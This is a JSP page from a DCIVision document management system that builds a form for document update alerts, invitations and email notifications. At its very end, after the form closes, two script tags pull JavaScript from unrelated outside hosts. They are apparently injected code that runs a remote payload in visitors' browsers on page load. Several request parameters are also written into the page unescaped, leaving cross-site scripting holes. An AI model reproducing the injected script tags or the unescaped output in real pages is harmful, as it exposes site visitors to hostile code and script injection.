<%
/*
 * @(#)EditUpdateAlert.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditUpdateAlert.jsp

  This class is reflecting business logic uses.

    @author           Weison Liang
    @company          DCIVision Limited
    @creation date    07/11/2004
    @version          $Revision: 1.9.4.9 $
*/
%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.* "%>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.dms.* "%>
<%@ page import="com.dcivision.alert.bean.* "%>
<%@ page import="com.dcivision.alert.dao.* "%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsClipBoardUpdateAlertForm" scope="request" class="com.dcivision.dms.web.MaintDmsClipBoardUpdateAlertForm"/>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script> 
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="javascript">
<!--
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
-->
</script>
<%if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.jsp" charset="UTF-8" type="text/javascript"></script>
<%}%>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" onLoad="InitializeAction();PreloadImages('<html:img src='LayoutNavMenuBackOn.gif'  pathOnly='true'/>','<html:img src='LayoutNavMenuForwardOn.gif'  pathOnly='true'/>','<html:img src='LayoutNavMenuExitOn.gif'  pathOnly='true'/>','<html:img src='LayoutNavMenuHelpOn.gif'  pathOnly='true'/>')"><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>

<html:form action="dms/MaintDmsClipBoardUpdateAlert">
<html:javascript formName="maintDmsClipBoardUpdateAlertForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   String  nDocName="";
   String docID=request.getParameter("objectID");
   String [] documentID = TextUtility.splitString(docID,",");
   String perm = request.getParameter("permission");
   String permissionArray[]=TextUtility.splitString(perm,",");
   String permission="";
   String docName = maintDmsClipBoardUpdateAlertForm.getObjectName();
   String documentType = request.getParameter("documentType")==null? DmsDocument.DOCUMENT_TYPE:request.getParameter("documentType");
   String documentTypeArray[]=TextUtility.splitString(documentType,",");
   String alertType = maintDmsClipBoardUpdateAlertForm.getAlertType();
   String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintDmsClipBoardUpdateAlertForm.getDirectURL();
   Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   DocumentRetrievalManager docRetrivalManager=new DocumentRetrievalManager(sessionContainer,conn);
   String sCurFunctionCode = maintDmsClipBoardUpdateAlertForm.getCurFunctionCode()==null ? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY) : maintDmsClipBoardUpdateAlertForm.getCurFunctionCode();
   String homePageFunctionCode="";

  String senderEmail = UserInfoFactory.getUserEmailAddress(sessionContainer.getUserRecordID());
  String state = request.getAttribute("state")==null? null: (String)request.getAttribute("state");
  String dbDateTimeFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT);
  boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);
  String fromEmail=(String)session.getAttribute("fromEmail");

%>
<script language="Javascript">
<!--

function INIT(){
  <%if (GlobalConstant.NAV_MODE_NEW.equals(maintDmsClipBoardUpdateAlertForm.getNavMode())){%>
	  <%if(!supportEmail){%>
	    document.maintDmsClipBoardUpdateAlertForm.notifyWay.checked=true;
      <%}else{%>
        for (var i=0;i<document.maintDmsClipBoardUpdateAlertForm.notifyWay.length;i++){
          document.maintDmsClipBoardUpdateAlertForm.notifyWay[i].checked=true;
        }
      <%}%>
  <%}%>

}

function CustomOpDelete(){
  if (confirm("<bean:message key='dms.label.confirm_clear_logs'/>")) {
    document.maintDmsClipBoardUpdateAlertForm.clearLogs.value=true;
  }else{
    document.maintDmsClipBoardUpdateAlertForm.clearLogs.value=false;
  }

  OpDelete();

  return false;
}
function closeWindow() {
 //window.opener.location.href = "<%=request.getContextPath()%>/dms/ListDmsClipboard.do";
  window.close();
  return(false);
}
// ensure actionType and notifyWay is not empty
function CustomOpSave() {
  var actionSelected = false;
  var waySelected = false;

  var userSelected = false;
  var groupSelected = false;
  var roleSelected = false;

<%if (!UpdateAlert.ALERT_TYPE.equals(alertType)){%>
  if (document.maintDmsClipBoardUpdateAlertForm.userList) {
    if (document.maintDmsClipBoardUpdateAlertForm.userList.length > 0) {
      for ( var i=0; i<document.maintDmsClipBoardUpdateAlertForm.userList.length; ++i ) {
        if ( document.maintDmsClipBoardUpdateAlertForm.userList[i].checked ) { userSelected = true; }
      }
    } else {
      if ( document.maintDmsClipBoardUpdateAlertForm.userList.checked ) { userSelected = true; }
    }
  }

  if (document.maintDmsClipBoardUpdateAlertForm.groupList) {
    if ( document.maintDmsClipBoardUpdateAlertForm.groupList.length > 0 ) {
      for ( var i=0; i<document.maintDmsClipBoardUpdateAlertForm.groupList.length; ++i ) {
        if ( document.maintDmsClipBoardUpdateAlertForm.groupList[i].checked ) { groupSelected = true; }
      }
    } else {
      if ( document.maintDmsClipBoardUpdateAlertForm.groupList.checked ) { groupSelected = true; }
    }
  }

  if (document.maintDmsClipBoardUpdateAlertForm.roleList) {
    if (document.maintDmsClipBoardUpdateAlertForm.roleList.length > 0){
      for ( var i=0; i<document.maintDmsClipBoardUpdateAlertForm.roleList.length; ++i ) {
        if ( document.maintDmsClipBoardUpdateAlertForm.roleList[i].checked ) { roleSelected = true; }
      }
    } else {
      if ( document.maintDmsClipBoardUpdateAlertForm.roleList.checked ) { roleSelected = true; }
    }
  }
<%}%>
  <%if (UpdateAlert.INVITE_TYPE.equals(alertType)) {%>
    actionSelected = true;
  <%} else {%>
  for ( var i=0; i<document.maintDmsClipBoardUpdateAlertForm.actionType.length; ++i ) {
    if ( document.maintDmsClipBoardUpdateAlertForm.actionType[i].checked ) { actionSelected = true; }
  }
  if ( (actionSelected !=true) && (document.maintDmsClipBoardUpdateAlertForm.actionType.checked) ){
    actionSelected = true;
  }
  <%}%>
  if(document.maintDmsClipBoardUpdateAlertForm.notifyWay.checked){
    waySelected = true;
  }else{
    for ( var i=0; i<document.maintDmsClipBoardUpdateAlertForm.notifyWay.length; ++i ) {
      if ( document.maintDmsClipBoardUpdateAlertForm.notifyWay[i].checked ) { waySelected = true; }
    }
  }
  if ( !actionSelected ) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_when")%>' />');
    return false;
  }
  if ( !waySelected ) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_type")%>' />');
    return false;
  }
  <%if (!UpdateAlert.ALERT_TYPE.equals(alertType)){%>
  if ( !(userSelected || groupSelected || roleSelected)) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_recipient")%>' />');
    return false;
  }
  if(compareDate(document.maintDmsClipBoardUpdateAlertForm.currentDate, document.maintDmsClipBoardUpdateAlertForm.dueDate, true) > -1){
    alert('<bean:message key='dms.label.notification_invalid_due_date'/>');
    return false;
  }
  <%}%>
  if ( actionSelected && waySelected ) {
    return OpSave();
  } else {
    return false;
  }
}
-->
</script>

<%try{%>

<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><bean:message key="dms.label.clipboard.alert_setup"/></font>
</layout:titleFormat>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='objectID' value='<%=docID%>'/>
<html:hidden property='objectType'/>
<html:hidden property='objectName' value='<%=nDocName%>'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property='alertType' value='<%=alertType%>'/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<input type='hidden' name='documentType' value='<%=documentType%>'/>
<input type='hidden' name='currentDate' value='<%=TextUtility.formatDate(new java.util.Date(),dbDateTimeFormat)%>'>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<!-- System And Error Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header --><tr><td>
  <table cellpadding="0" cellspacing="0" border="0" width="780">
  <tr>
    <td>
  <layout:sectionHeader name='dms.label.doc_info' mandatory='false'/>
    </td>
    <td align="right">
    </td>
   </tr>
  </table>

  <table cellpadding="0" cellspacing="2" border="0" width="780" >
  <%
	  if (documentID.length>0) {
	    for (int i=0;i<documentID.length;i++){
        DmsDocument currentDocument = (DmsDocument) docRetrivalManager.getDocument(TextUtility.parseIntegerObj(documentID[i]));
        PermissionManager permissionManager = sessionContainer.getPermissionManager();
        permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(documentID[i]));
		    documentType=currentDocument.getDocumentType();
		    nDocName=currentDocument.getDocumentName()+","+nDocName;
		    DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
        Integer parentID = currentDocument.getParentID();
        Integer rootID = currentDocument.getRootID();
		    String functionCode=currentDocument.getCurFunctionCode();

          if (rootFolder == null) {
            rootFolder = docRetrivalManager.getRootFolderByRootID(currentDocument.getRootID());
          }
          if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
             homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
             DmsDocument documentRoot = docRetrivalManager.getRootFolderByRootID(rootID);
             if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
                sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
             } else {
                sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
             }
             request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
           }

  %>
  <tr>
    <td class="formLabelSmall"><bean:message key='<%="dms.label.name_" + documentType%>'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
    <nobr><dms:documentInfo docObject='<%=currentDocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' curFunctionCode='<%=functionCode%>'/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.location'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
    <dms:locationPath parentID="<%=parentID%>" rootID="<%=rootID%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>'  indexFlag='showIndexFlag'/>
    </td>
  </tr>
  <%
	}

  }
   %>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>

  <!-- Section Header -->
  <layout:sectionHeader name='<%="dms.label.update_alert_"+alertType%>'/>
  <%if (UpdateAlert.ALERT_TYPE.equals(alertType)){%>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='dms.label.notification_when'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <%if ( DmsDocument.FOLDER_TYPE.equals(documentType)) {%>
      <bean:message key='dms.label.notification_create'/> <html:checkbox property="actionType" value="<%=UpdateAlert.CREATE_ACTION%>"/>
      <%}%>
      <bean:message key='dms.label.notification_update'/> <html:checkbox property="actionType" value="<%=UpdateAlert.UPDATE_ACTION%>" />
      <bean:message key='dms.label.notification_view'/> <html:checkbox property="actionType" value="<%=UpdateAlert.VIEW_ACTION%>" />
      <bean:message key='dms.label.notification_delete'/> <html:checkbox property="actionType" value="<%=UpdateAlert.DELETE_ACTION%>" /> <%if(docRetrivalManager.hasRelationship(TextUtility.parseIntegerObj(request.getParameter("objectID")),"")&&!DmsDocument.FOLDER_TYPE.equals(documentType)){%>
	  <bean:message key='dms.label.document_relationship'/><html:checkbox property="actionType" value="<%=UpdateAlert.MODIFY_RELATED_DOC%>" />
	  <%}%>
    </td>
  </tr>
  <%}else if (UpdateAlert.INVITE_TYPE.equals(alertType)) {
    if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsClipBoardUpdateAlertForm.getNavMode()) && !GlobalConstant.NAV_MODE_EDIT.equals(maintDmsClipBoardUpdateAlertForm.getNavMode())){
      String[] actionType=new String[1];
      actionType[0]=UpdateAlert.INVITE_ACTION;
      maintDmsClipBoardUpdateAlertForm.setActionType(actionType);
    }
  %>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='alert.message.action_type'/>&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsClipBoardUpdateAlertForm.getNavMode())){%>
        <bean:message key='dms.label.notification_invite'/> <html:radio property="actionType" value="<%=UpdateAlert.INVITE_ACTION%>"/>
        <%if(SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(sCurFunctionCode)){%>
          <bean:message key='dms.label.notification_discuss'/><html:radio property="actionType" value="<%=UpdateAlert.DISCUSS_ACTION%>"/>
        <%}%>
      <%}else{%>
        <%for(int i=0;i<maintDmsClipBoardUpdateAlertForm.getActionType().length;i++){
            if(UpdateAlert.INVITE_ACTION.equals(maintDmsClipBoardUpdateAlertForm.getActionType()[i])){%>
              <bean:message key='dms.label.notification_invite'/>
        <%}else if(UpdateAlert.DISCUSS_ACTION.equals(maintDmsClipBoardUpdateAlertForm.getActionType()[i])){%>
              <bean:message key='dms.label.notification_discuss'/>
        <%}}%>
      <%}%>
    </td>
  </tr>

 <!--  <html:hidden property="actionType" value="<%=UpdateAlert.INVITE_ACTION%>" />  -->
  <%}%>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='dms.label.notification_type'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
     <%if(supportEmail){%>
      <bean:message key='dms.label.notification_email'/> <html:checkbox property="notifyWay" value="<%=UpdateAlert.EMAIL_NOTIFICATION%>" /> &nbsp;
      <%}%>
      <bean:message key='dms.label.notification_system'/> <html:checkbox property="notifyWay" value="<%=UpdateAlert.SYSTEM_NOTIFICATION%>" />
    </td>
  </tr>
  <%if (UpdateAlert.INVITE_TYPE.equals(alertType)) {%>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.notification_due_date'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <html:datepicker property="dueDate"/>
    </td>
  </tr>
  <%}%>
  <%
  if ((GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && "YES".equals(request.getSession().getAttribute("showClearLogsFlag")))) {%>
  <% request.getSession().setAttribute("showClearLogsFlag", "YES");  %>

  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.clearLogs'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <html:radio property="clearLogs" value="true"><bean:message key='common.label.yes'/></html:radio>
      <html:radio property="clearLogs" value="false"><bean:message key='common.label.no'/></html:radio>
    </td>
  </tr>
  <%}else{%>
  <html:hidden property="clearLogs"/>
  <% request.getSession().setAttribute("showClearLogsFlag", null);%>
  <%}%>
  <%if (UpdateAlert.INVITE_TYPE.equals(alertType)) {%>
  <tr>
    <td class="formLabelSmall" valign='top'><bean:message key='dms.label.notification_message'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630">
      <html:textarea property="message" cols="40" rows="5"/>
    </td>
  </tr>
  <tr>
    <td class='<layout:classLabel mandatory='true'/>' width='25%' valign='top'><bean:message key='dms.label.notification_recipient'/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
    <table>
      <tr>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_user'/></td>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_group'/></td>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_role'/></td>
      </tr>
      <tr>
        <td width="200">
          <html:checkboxOptions dbListName='userRecordList' name='userList' nameValue='<%=maintDmsClipBoardUpdateAlertForm.getUserList()%>' hasSelect='false' width='200'/>
        </td>
        <td width="200">
          <html:checkboxOptions dbListName='userPublicGroupList' name='groupList' nameValue='<%=maintDmsClipBoardUpdateAlertForm.getGroupList()%>' hasSelect='false' width='200'/>
        </td>
        <td width="200">
          <html:checkboxOptions dbListName='userRoleList' name='roleList' nameValue='<%=maintDmsClipBoardUpdateAlertForm.getRoleList()%>' hasSelect='false' width='200'/>
        </td>
      </tr>
    </table>
    </td>
  </tr>
 <%if (!UpdateAlert.ALERT_TYPE.equals(alertType)){
      String updateAlertTypeID = (String)request.getAttribute("updateAlertTypeID");
      if (!Utility.isEmpty(updateAlertTypeID)){
      UpdateAlertLogActionDAObject logactionDAO = new UpdateAlertLogActionDAObject (sessionContainer, conn);
      List alertLogActionList = (List) logactionDAO.getListByUpdateAlertTypeID(new Integer(updateAlertTypeID));

  %>
  <tr>
    <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.notification_recipient_status'/>:&nbsp;</td>
    <td class="formFieldSmall" width='75%'>
    <table>
      <tr>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_read'/></td>
      </tr>
      <tr>
        <td width="200">
        <%  for (int i=0; i < alertLogActionList.size(); i++) {
              UpdateAlertLogAction updateAlertLogAction = (UpdateAlertLogAction) alertLogActionList.get(i);
              String userName = UserInfoFactory.getUserFullName(updateAlertLogAction.getActorID());%>
              <%=userName%>; &nbsp;
        <%  }%>
        </td>
      </tr>
    </table>
    </td>
  </tr>
<%    }
  } %>
  <!--send email Start-->
  <%if(supportEmail){%>

  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <!-- Section Header -->
  <layout:sectionHeader name="dms.label.invite_external_by_email" mandatory='false'/>
  <tr>
    <td class="formLabelSmall" valign='top'><bean:message key='dms.label.email_send_to'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='recipients' size="70%"/></td>
  </tr>
    <tr>
      <td class="formLabelSmall" valign='top'><bean:message key='dms.label.email_cc'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='CCRecipients' size="70%"/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" valign='top'><bean:message key='dms.label.email_bcc'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='BCCRecipients' size="70%"/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" valign='top'><bean:message key='dms.label.email_subject'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:text property='subject' size="70%" value="ParaDoc invitation notification"/></td>
    </tr>

  <%}%>
  <!-- Compose Email End-->
  <%}%>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
	<%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return CustomOpSave()"/>
    <%}%>
     <html:standardButton label="common.label.close" onClick="return closeWindow()"/>
    </td>
  </tr>
  </table>
  </td></tr>
</table>

</td></tr></table>
<%}catch (Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
  }%>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>